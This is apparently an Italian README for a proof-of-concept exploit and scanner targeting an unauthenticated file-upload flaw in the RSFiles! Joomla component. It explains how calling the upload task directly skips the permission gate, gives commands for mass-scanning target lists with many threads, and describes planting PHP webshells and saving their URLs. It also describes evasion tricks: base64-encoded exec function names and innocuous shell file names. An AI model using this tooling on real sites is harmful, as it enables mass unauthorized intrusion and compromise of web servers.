
Caricamento file non autenticato → RCE PoC per CVE-2026-57827 (RSFiles! Joomla < 1.17.12). Solo per uso autorizzato di ricerca sulla sicurezza.
Disclaimer — solo uso autorizzato. Questo è un proof-of-concept per ricerca sulla sicurezza e test difensivi. Sei responsabile di utilizzarlo solo su sistemi di tua proprietà o su cui hai esplicita autorizzazione scritta per i test. L'uso improprio contro terzi senza consenso è illegale. Vedi SECURITY.md per la politica di divulgazione responsabile.
Exploit + rilevatore standalone per CVE-2026-57827 nel componente RSFiles!
(com_rsfiles) per Joomla, versioni < 1.17.12 (corretto nella
1.17.12, CVSS 9.8 / 10.0).
L'upload dal frontend è suddiviso in due attività:
rsfiles.checkupload — gate preliminare (permessi + lista consentita delle estensioni)rsfiles.upload — metodo di scrittura (nessun controllo permessi, nessun controllo del tipo di file, nessun CSRF)L'attività di scrittura può essere chiamata direttamente, saltando il gate
preliminare, il che consente a un attaccante non autenticato di caricare un file
.php eseguibile in una cartella pubblica ed eseguirlo → RCE non autenticato.
Tutti i moduli devono trovarsi nella stessa directory (si importano a vicenda).
python3 -m pip install -r requirements.txt # oppure semplicemente: pip install requests
python rsfiles_detect.py -t example.com
Host : example.com
RSFiles! : YES v1.17.11
Protocol : https
Status : VULNERABLE (below 1.17.12)
Multi-host:
python rsfiles_detect.py -f hosts.txt
python cve_2026_57827.py -t example.com
In caso di successo lo strumento stampa l'URL della shell con il suo token casuale e l'output del comando — quell'output è la prova dell'RCE.
python cve_2026_57827.py -f targets.txt --threads 30 -o shells.txt --csv report.csv
# Terminale 1 — avvia il mock (vulnerabile)
python mock_server.py 8000 1.17.11
# Terminale 2 — scansionalo
python rsfiles_detect.py -t 127.0.0.1:8000
python cve_2026_57827.py -t 127.0.0.1:8000
1.17.11 / 1.17.10 = vulnerabile · 1.17.12 = corretto.
payload.py): ogni comportamento (gate, upload, exec,
delete, list) è una piccola funzione; i nomi delle funzioni exec sono codificati in base64
così che nomi grezzi come system non compaiano nei byte del file.cache7f31.php) invece dei classici
nomi di shell nascosti con dotfile.common.base_of().Stile modellato su raccolte pubbliche di exploit per componenti Joomla (es.
incredibleindishell/joomla-vulnerabilities) e sui write-up dell'advisory di
RSJoomla/mysites.guru per questa CVE.
MIT — vedi LICENSE. Solo uso per ricerca/difesa.
| File | Scopo |
|---|
cve_2026_57827.py | Exploit + scanner + CLI (punto di ingresso) |
rsfiles_detect.py | Modulo di rilevamento standalone (senza exploit) — ha anche una propria CLI |
payload.py | Builder di payload PHP modulare e compatto |
common.py | Client HTTP condiviso, configurazione e helper |
mock_server.py | Simulazione locale sicura per i test |
| Flag | Descrizione |
|---|
--threads N | Concorrenza (default 30) |
--proxy URL | Instrada attraverso un proxy (Burp/ZAP) |
--timeout N | Timeout per richiesta (secondi) |
--no-cleanup | Mantieni la shell caricata (default: auto-eliminazione dopo l'RCE) |
-o FILE | Salva gli URL RCE |
--csv FILE | Report strutturato completo |
--debug / -v | Logging dettagliato a livello di richiesta |